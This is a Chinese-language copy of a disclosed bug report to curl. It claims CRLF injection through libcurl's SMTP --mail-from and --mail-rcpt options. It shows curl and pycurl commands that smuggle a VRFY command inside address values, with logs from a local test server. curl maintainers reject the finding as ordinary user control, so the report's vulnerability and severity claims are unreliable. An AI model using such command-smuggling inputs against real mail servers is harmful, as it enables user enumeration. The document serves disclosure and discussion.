libcurl SMTP客户端CRLF注入漏洞分析

本文详细分析了libcurl SMTP客户端存在的CRLF注入漏洞,攻击者可通过--mail-from和--mail-rcpt参数注入换行符来走私SMTP命令,可能导致用户枚举和协议滥用。包含完整的复现步骤和影响分析。

CRLF注入在libcurl的SMTP客户端通过–mail-from和–mail-rcpt允许SMTP命令走私

摘要

libcurl的SMTP客户端通过–mail-from和–mail-rcpt参数存在CRLF注入漏洞。攻击者可以注入换行字符来走私SMTP命令如VRFY,可能启用用户枚举或协议滥用。虽然curl可能在注入后失败,但注入的命令由SMTP服务器执行,确认了漏洞存在。

AI声明

是的,我使用了AI来发现此漏洞。

受影响版本

我在Ubuntu 24.04.2上测试了:

  • curl 8.5.0(系统)
  • curl 8.15.0-DEV(本地构建)
  • PycURL/7.45.6 with libcurl/8.12.1-DEV

完整系统curl版本:

1
2
3
4
5
$ curl -V
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd

完整本地构建版本:

1
2
3
4
5
$ curl -V
curl 8.15.0-DEV (Linux) libcurl/8.15.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 libssh2/1.11.0 nghttp2/1.59.0 OpenLDAP/2.6.7
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets zstd

复现步骤

  1. 运行测试SMTP服务器;我使用的服务器名为smtp_server,以./smtp_server运行并在localhost:1025监听

  2. 使用正常电子邮件地址发送邮件,例如:

1
curl -vf --url "smtp://localhost:1025/" --mail-from "attacker@example.com" --mail-rcpt "recipient@example.com" --upload-file mail.txt

其中mail.txt是文本文件 - curl正常完成

  1. 现在发送带有注入CRLF的邮件,例如在"from"字段中:
1
curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf 'user@example.com\r\nVRFY d@example.com\r\n')" --mail-rcpt "recipient@example.com" --upload-file mail.txt

curl失败并显示DATA failed: 250,因为服务器向注入的VRFY命令发送了250 OK而不是预期的354;这证明了CRLF注入的发生

我认为问题出现在smtp.c中的smtp_perform_mail函数中的"MAIL FROM:%s%s%s%s%s%s"连接邮件字段时没有进行清理(并且smtp_parse_address也不清理"\r\n")。

支持材料/参考

正常邮件发送:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ curl -vf --url "smtp://localhost:1025/" --mail-from "attacker@example.com" --mail-rcpt "recipient@example.com" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<attacker@example.com> SIZE=4
< 250 OK
> RCPT TO:<recipient@example.com>
< 250 OK
> DATA
< 354 End data with <CR><LF>.<CR><LF>
} [4 bytes data]
* We are completely uploaded and fine
< 250 Message accepted for delivery
* Connection #0 to host localhost left intact

在"from"字段中发送带有CRLF的邮件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ cat mail.txt
Huh?

$ curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf 'user@example.com\r\nVRFY d@example.com\r\n')" --mail-rcpt "recipient@example.com" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying 127.0.0.1:1025...
* Connected tolocalhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<user@example.com
> VRFY d@example.com
> SIZE=4
< 250 OK
> RCPT TO:<recipient@example.com>
< 250 OK: John X Doe <d@example.com>
> DATA
< 250 OK
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250

在"rcpt"字段中发送带有CRLF的邮件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ curl -vf --url "smtp://localhost:1025/" --mail-rcpt "$(printf 'rcpt@example.com\r\nVRFY d@example.com\r\n')" --mail-from "from@example.com" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
*   Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<from@example.com> SIZE=4
< 250 OK
> RCPT TO:<rcpt@example.com
> VRFY d@example.com
>
< 250 OK
> DATA
< 250 OK: John X Doe <d@example.com>
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250
error: Recipe `test-bad-rcpt` failed on line 13 with exit code 55

使用pycURL发送带有CRLF的邮件:

1
2
3
4
$ ./send-with-pycurl
2025-07-03 15:08:38.173 | INFO     | __main__:<module>:37 - pycurl version: PycURL/7.45.6 libcurl/8.12.1-DEV OpenSSL/3.4.1 zlib/1.3 brotli/1.1.0 libssh2/1.11.1_DEV nghttp2/1.64.0
2025-07-03 15:08:38.173 | INFO     | __main__:send:22 - sending email from 'user@example.com\r\nVRFY d@example.com' to 'recipient@example.com'
2025-07-03 15:08:38.176 | ERROR    | __main__:send:32 - exception: (55, 'DATA failed: 250')

服务器日志(用于说明):

1
2
3
4
5
6
7
8
9
$ ./smtp_server
SMTP server running at localhost:1025 (Ctrl+C to stop)
2025-07-03 15:08:23.449 | INFO     | __main__:handle_DATA:24 - Message received -- from: attacker@example.com, to: ['recipient@example.com']
2025-07-03 15:08:23.449 | INFO     | __main__:handle_DATA:25 - Data:>>>Huh?
<<<
2025-07-03 15:08:31.116 | INFO     | __main__:handle_VRFY:29 - Message received -- from: user@example.com, to: []
2025-07-03 15:08:31.116 | INFO     | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <d@example.com>'
2025-07-03 15:08:38.176 | INFO     | __main__:handle_VRFY:29 - Message received -- from: user@example.com, to: []
2025-07-03 15:08:38.176 | INFO     | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <d@example.com>'

smtp_server脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
#   "loguru",
#   "aiosmtpd",
# ]
# ///

from aiosmtpd.controller import Controller
from aiosmtpd.smtp import SMTP
from loguru import logger


class MessageHandler:
    async def handle_DATA(self, server, session, envelope):
        logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
        logger.info("Data:>>>{}<<<", envelope.content.decode("utf8", errors="replace"))
        return "250 Message accepted for delivery"

    async def handle_VRFY(self, server, session, envelope, address, *args, **kwargs):
        logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
        USERS = {
            "d@example.com": "John X Doe",
        }
        if full_name := USERS.get(address.lower()):
            response = f"250 OK: {full_name} <{address}>"
        else:
            response = f"550 No such user {address}"
        logger.info("Sending back {!r}", response)
        return response


class MyController(Controller):
    def factory(self):
        """Subclasses can override this to customize the handler/server creation."""
        kwargs = {**self.SMTP_kwargs, "hostname": "test-smtpd"}
        return SMTP(self.handler, **kwargs)


if __name__ == "__main__":
    handler = MessageHandler()
    controller = MyController(handler, hostname="127.0.0.1", port=1025)
    controller.start()
    print("SMTP server running at localhost:1025 (Ctrl+C to stop)")
    import time

    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        controller.stop()

send-with-pycurl脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
#   "loguru",
#   "pycurl",
# ]
# ///
import io

import pycurl
from loguru import logger


def send(sender, recipient):
    msg = f"""\
From: {sender}
To: {recipient}
Subject: Hello from pycurl

This is the email body.
    """
    logger.info("sending email from {!r} to {!r}", sender, recipient)
    c = pycurl.Curl()
    c.setopt(pycurl.URL, "smtp://localhost:1025")
    c.setopt(pycurl.MAIL_FROM, sender)
    c.setopt(pycurl.MAIL_RCPT, [recipient])
    c.setopt(pycurl.UPLOAD, 1)
    c.setopt(pycurl.READDATA, io.BytesIO(msg.encode()))
    try:
        c.perform()
    except Exception as exc:
        logger.error("exception: {}", exc)
    c.close()


if __name__ == "__main__":
    logger.info("pycurl version: {}", pycurl.version)
    send("user@example.com\r\nVRFY d@example.com", "recipient@example.com")

影响

摘要: 此漏洞允许攻击者通过制作恶意电子邮件地址来注入任意SMTP命令,如VRFY。它可能导致用户枚举、绕过客户端限制或中断SMTP会话,特别是在自动化或基于代理的电子邮件工作流程中。

时间线

  • 13天前:skrcprst向curl提交报告
  • 13天前:bagder(curl工作人员)发表评论:“感谢您的报告!我们将花时间调查您的报告,并尽快给您回复详细信息和可能的后续问题!很可能在接下来的24小时内。”
  • 13天前:icing(curl工作人员)发表评论:“您是否知道到目前为止,AI发现的漏洞成功率为0%?而且我们有相当好的样本量…”
  • 13天前:bagder(curl工作人员)发表评论:“我不认为curl或libcurl声称这些选项是万无一失的。我不认为过滤用户可能提供的所有可能的垃圾是curl的责任。事实上,发送额外的垃圾通常被curl用户用来验证服务器等。这不是一个合法的’漏洞’,因为攻击者不会随机拥有访问权限和在curl命令行中插入内容的能力。如果攻击者可以修改命令行,几乎所有赌注都失效了,无尽的黑客能力都会打开。因此,这种’攻击’只能由用户自己完成。然后这就不是攻击。这是普通用法。”
  • 13天前:skrcprst发表评论:“根据评论,我同意关闭此报告。感谢您的时间。”
  • 13天前:jimfuller2024(curl工作人员)发表评论:“此报告中有一些有缺陷的假设:1)有权使用curl的用户可以使用它…如果您希望客户端向服务器发送垃圾,您可以这样做…您也可以下载恶意软件或泄露秘密。用户是负责任的。期望设置’防护栏’来避免’footguns’是错误的期望。2)客户端安全与服务器安全不同。也许我遗漏了什么,作者可以提供更多细节,但我没有看到任何安全问题。”
  • 13天前:skrcprst关闭报告并将状态更改为"不适用"
  • 13天前:bagder(curl工作人员)请求披露此报告:“根据项目的透明度政策,我们希望所有报告都被披露并公开。”
  • 13天前:skrcprst同意披露此报告
  • 13天前:此报告已被披露

报告详情

  • 报告时间:2025年7月3日,UTC时间5:49
  • 报告人:skrcprst
  • 报告对象:curl
  • 报告ID:#3235428
  • 严重性:中等(4 ~ 6.9)
  • 披露时间:2025年7月3日,UTC时间22:57
  • 弱点:CRLF注入
  • CVE ID:无
  • 赏金:隐藏
  • 账户详情:无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计